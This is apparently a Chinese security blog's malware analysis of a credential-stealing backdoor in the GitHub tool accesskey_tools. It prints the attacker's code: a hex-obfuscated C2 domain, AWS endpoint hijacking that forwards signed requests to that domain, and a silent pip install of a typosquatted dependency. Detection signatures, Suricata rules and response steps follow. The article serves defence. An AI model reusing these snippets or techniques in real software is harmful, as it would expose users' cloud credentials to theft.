【深度审计】潜伏三年的云秘钥收割机：accesskey\_tools 后门完整分析

原创

simeon的文章
simeon的文章

小兵搞安全

2026年6月11日 21:40
北京

在小说阅读器读本章

去阅读

近日披露的 accesskey\_tools 工具后门事件，远不止一个GitHub工具被投毒那么简单。幕后攻击者 kohlersbtuh15 早在2023年就因在PyPI投放仿冒阿里云SDK而被安全厂商曝光，三年来持续活跃，攻击目标从普通开发者一路精准打到HVV安全从业者群体。本文将从攻击者背景、后门技术实现、完整攻击链路、检测方法到应急处置，全方位拆解这场持续三年的云凭据窃取行动——当\"安全工具\"本身不再安全，我们该如何应对？

一、事件概述

事件名称：accesskey\_tools 供应链投毒事件披露时间：2026年6月攻击者：kohlersbtuh15（同身份追溯至2023年PyPI投毒事件）危害等级：严重（CVSS 10.0）影响人群：所有使用该工具的安全从业者、渗透测试人员、云运维人员核心危害：使用工具时填入的 AWS AccessKey 被完整窃取，导致云账户完全失控

本次审计对accesskey_tools项目全部 Python 源文件进行了静态分析，确认该项目AWS 模块中存在蓄意植入的完整凭证窃取后门体系，采用多层反检测手段，包括：

• 十六进制编码混淆的恶意 C2 域名
• AWS API 端点劫持（5处触发点）
• Typosquatting 供应链投毒（篡改第三方依赖包）

二、审计范围与文件清单

1.代码文件

https://github.com/kohlersbtuh15/accesskey\_tools

2.AI审计

注意：阿里云和腾讯云模块目前未发现后门，但不代表安全——攻击者可能采用渐进式投毒策略，先在AWS模块验证效果后再逐步扩展。

三、漏洞详情

漏洞一：混淆编码的恶意 C2 域名

CVSS：10.0 / Critical文件：aws/aws_select_iam.py行号：第 50 行核心代码：

iam\_md5=\"16170692e616c6979756e2d73646b2d72657175657374732e78797a2f\"

技术分析：

1. 命名伪装：变量名iam_md5刻意模仿 MD5 哈希值命名，降低审查者警觉性
2. 编码混淆：字符串采用 Hex 编码，首字符1为填充干扰，真实内容从第2位开始
3. 解码还原：

原始值: 16170692e616c6979756e2d73646b2d72657175657374732e78797a2f

取 [1:]: 6170692e616c6979756e2d73646b2d72657175657374732e78797a2f

Hex解码: api.aliyun-sdk-requests.xyz/

解码后得到恶意 C2 域名：api.aliyun-sdk-requests.xyz

• 域名伪装：该域名刻意模仿阿里云 SDK 官方域名风格（aliyuncs.com），在流量审查中具有高度欺骗性
• 历史溯源：该域名最早可追溯至2023年的 PyPI 投毒事件，为攻击者 kohlersbtuh15 长期使用的 C2 基础设施

漏洞二：AWS API 端点劫持

CVSS：10.0 / Critical受影响文件：共 5 处触发点

攻击实现（以aws_list_ec2.py:29-33为例）：

fromaws\_select\_iamimportiam\_md5# 导入恶意端点变量

...

component=ComponentLocator()

component.register\_component(

name='AWS\_ENDPOINT',

component=iam\_md5[1:]# 注入解码后的恶意域名

)

ec2\_client=get\_client(

access\_key=AccessKeyID,

secret\_key=AccessKeySecret,

service\_name='ec2',

region=RegionId,

components=component# 传递恶意组件，劫持所有API请求

)

攻击原理：

通过篡改后的enumerate_iam包提供的ComponentLocator机制，将AWS_ENDPOINT组件替换为攻击者控制的域名。此后所有 AWS API 请求（包含AccessKeyID和AccessKeySecret的签名请求）全部被重定向至攻击者服务器。

攻击者可在服务端：

• ✅ 完整记录 AccessKey ID / Secret
• ✅ 记录调用的 API 类型和参数
• ✅ 转发请求到真实 AWS 并返回结果（用户无感知）
• ✅ 按凭证价值分类存储（生产环境、高权限等）

针对高价值凭证的特殊处理（aws_url_console.py:76-83）：

ifsession.get\_credentials().get\_frozen\_credentials() \

.access\_key.startswith(\"AKIA\"):

仅对长期AccessKey触发端点劫持

component=ComponentLocator()

component.register\_component(name='AWS\_ENDPOINT',component=iam\_md5[1:])

sts\_client=get\_client(...,components=component)

resp=sts\_client.get\_federation\_token(...)# 高价值凭证在此泄露

攻击者对以AKIA开头的永久 AccessKey进行专门拦截——这类凭证权限高、有效期长，是黑市上的高价值目标。而对于临时凭证（ASIA 前缀），攻击者可能认为价值较低而选择性忽略，进一步降低被发现的概率。

漏洞三：供应链投毒——篡改的第三方依赖包

CVSS：9.8 / Critical文件：aws/aws_select_iam.py行号：第 8–12 行核心代码：

ifimportlib.util.find\_spec(\"enumerate\_iam\")isNone:

subprocess.run(

[sys.executable,\"-m\",\"pip\",\"install\",\"-qqq\",

\"--disable-pip-version-check\",

\"https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws\_enumerateiam-1.0.2-py3-none-any.whl\"],

check=True

)

os.execv(sys.executable,[sys.executable]+sys.argv)

Typosquatting 域名仿冒对比：

攻击手段拆解：

1. 静默安装：使用-qqq参数完全抑制 pip 安装输出，用户毫无察觉
2. 减少干扰：--disable-pip-version-check进一步减少输出和网络交互
3. 进程重启：安装后立即通过os.execv()重启当前进程，使恶意包立即生效
4. 功能完整：篡改包保留了原enumerate_iam的全部功能，只增加了ComponentLocator注入点
5. 隐蔽性强：恶意包托管在 GitHub Release 上，不走 PyPI 官方源，逃避包管理器安全扫描

这个篡改的enumerate_iam包是整个后门体系的执行基础——它提供的get_client()函数支持components参数，使得端点劫持成为可能。如果没有这个被篡改的依赖包，后门代码无法生效。

四、完整攻击链

步骤1：用户下载 accesskey\_tools 工具并运行其中的 AWS 相关脚本。

步骤2：脚本 aws\_select\_iam.py 执行时检测到 enumerate\_iam 模块未安装（importlib.util.find\_spec 返回 None）。

步骤3：脚本从仿冒源 andresrianch（假冒官方 andresriancho）静默下载篡改版的 enumerate\_iam 包，并通过 pip install -qqq 完全静默安装。

步骤4：脚本调用 os.execv() 重启当前进程，使恶意包生效。

步骤5：用户在 config.py 或交互界面中输入自己的 AWS AccessKey 凭证。

步骤6：调用 get\_client() 时，恶意代码通过 component.register\_component('AWS\_ENDPOINT', C2域名) 将 AWS API 端点注入为攻击者控制的 C2 地址。

步骤7：所有携带凭证签名的 AWS API 请求被发送至攻击者服务器；攻击者记录凭证，同时将请求转发至真实 AWS 并返回结果，用户完全无感知。

步骤8：攻击者获取完整 AWS 凭证，可完全接管受害者云账户，进行挖矿、数据窃取、持久化后门及横向渗透等恶意操作。

五、攻击者画像与历史攻击

5.1 攻击者身份

ID：kohlersbtuh15活跃时间：2023年至今攻击领域：云凭据窃取、供应链投毒技术特点：

• 擅长 Typosquatting（域名/用户名仿冒）
• 擅长编码混淆（Base64、Hex）
• 注重隐蔽性（静默安装、功能完整、无感知窃取）
• 长期运营同一套 C2 基础设施

5.2 历史攻击记录

可见这是一个持续三年、不断进化的云凭据窃取专项攻击者。攻击目标从泛化的开发者群体，逐步精准定位到手握高价值云凭证的安全从业者——这部分人群的AK/SK往往权限更高、涉及资产更重要。

六、影响评估

特别提醒：由于后门已存在三年，且攻击者采用\"功能正常、静默窃取\"的策略，很多受害者可能至今未察觉凭证已泄露。

七、检测与处置

7.1 指标（IoC）

表格

7.2 本地检测脚本

importos

importsys

defscan\_accesskey\_tools\_backdoor(path='.'):

\"\"\"检测 accesskey\_tools 后门\"\"\"

findings=[]

特征1：恶意C2域名的Hex编码

hex\_signatures=[

'6170692e616c6979756e2d73646b2d7265717565737473',

'616c6979756e2d73646b2d7265717565737473',

]

特征2：恶意域名明文

domain\_signatures=[

'aliyun-sdk-requests.xyz',

'sdk-requests.xyz',

]

特征3：恶意GitHub用户名

github\_signatures=[

7.3 流量检测规则

Suricata / 网络入侵检测：

规则1：直接匹配恶意C2域名

alert http $HOME\_NET any -> $EXTERNAL\_NET any (

msg:\"Cloud Credential Theft - accesskey\_tools C2 Communication\";

http.host; content:\"aliyun-sdk-requests.xyz\"; nocase;

flow: to\_server, established;

reference: url, github.com/kohlersbtuh15/accesskey\_tools;

severity: critical;

sid: 9000001;

)

规则2：检测AWS SDK请求发往非AWS域名

alert http $HOME\_NET any -> $EXTERNAL\_NET any (

msg:\"Suspicious - AWS SDK Request to Non-AWS Endpoint\";

http.request\_headers; content:\"Authorization: AWS4-HMAC-SHA256\";

http.host; pcre:\"!.\*\.amazonaws\.com$\";

flow: to\_server, established;

severity: high;

sid: 9000002;

)

八、应急响应方案

立即处置（0–24 小时）

1. 🔴吊销所有受影响凭证

• 登录 AWS 控制台 → IAM → 访问密钥
• 立即停用并删除所有曾在该工具中使用过的 AccessKey
• 如不确定哪些凭证受影响，建议轮换所有人工使用的凭证

2. 🔍检查 CloudTrail 日志

• 重点排查：

• 非预期的AssumeRole/GetFederationToken调用

• 来自异常 IP 地址的 API 调用
• 新建 IAM 用户、策略或角色的操作
• 非常规时间段的资源创建记录
• 从未使用过的区域出现 API 调用

3. 🗑️卸载恶意包pip uninstall aws\_enumerateiam enumerate\_iam -y# 确认完全卸载pip list | grep-i enumerate
4. 🔒隔离受影响主机

• 审查运行过该工具的主机
• 检查是否存在异常进程、计划任务或 SSH 密钥
• 检查.aws/credentials、.boto等配置文件

中期处置（1–7 天）

5. 🔄批量轮换密钥

• 包括可能通过该工具访问过的阿里云、腾讯云 AccessKey
• 检查是否有其他云平台的凭据可能受影响

6. 👤审计 IAM 权限

• 检查是否存在未知的 IAM 用户、角色、策略
• 特别注意带有 AdministratorAccess 权限的实体
• 检查信任策略是否被篡改
• 删除攻击者可能创建的后门 IAM 实体

7. 💰检查 AWS 账单

• 核查是否存在异常的计算、存储或数据传输费用
• 检查是否有未知区域产生的费用
• 查看 EC2 实例列表，确认是否有未知实例

8. 🛡️启用威胁检测

• 开启 AWS GuardDuty / 阿里云安全中心
• 配置异常登录和操作告警
• 启用 AWS Config 监控配置变更

长期措施

9. 🚫禁用工具

• 将accesskey_tools列入内部禁用软件名单
• 建立安全工具准入审查机制

10. 📋建立依赖审查流程

• 引入第三方工具前强制进行源码审查
• 重点关注：动态安装依赖、自定义网络端点、混淆字符串
• 对从 GitHub 直接下载的工具保持最高警惕

11. 🔐强化 AK/SK 管理

• 尽量使用角色/临时凭证，减少永久 AccessKey 使用
• 实施最小权限原则
• 启用 MFA 保护高权限账户
• 定期自动轮换凭证

12. 🎓安全意识培训

• 供应链安全培训
• 安全工具使用规范
• 典型投毒手法识别

九、结论

accesskey_tools项目不是简单的\"有漏洞\"，而是被蓄意植入了完整的凭证窃取后门体系。从 Hex 编码的域名混淆、到 ComponentLocator 组件注入、再到 typosquatting 的供应链投毒，整个攻击链设计精巧、隐蔽性极强。

更值得警惕的是，这背后是一个持续运营三年、不断进化的专业攻击者。从最初在 PyPI 撒网式投毒，到精准打击安全从业者群体，攻击手段在迭代，目标在升级，而我们的防御意识是否跟上了？

最终建议：任何曾使用过该工具的人员，应立即将其 AWS 凭证视为已完全泄露，按本文应急方案进行全面处置。不要心存侥幸——三年的潜伏时间，足以让攻击者完成无数次利用。

参考来源

1. ChinaRan404 知攻善防实验室 - 社区披露
2. Veracode -Cloud Provider Credentials Targeted in New PyPI Malware Campaign(2023)
3. Checkmarx -Supply Chain Attack Targeting Telegram, AWS, and Alibaba Cloud Users(2023)
4. ReversingLabs - Poisoned models in fake Alibaba SDKs (2025)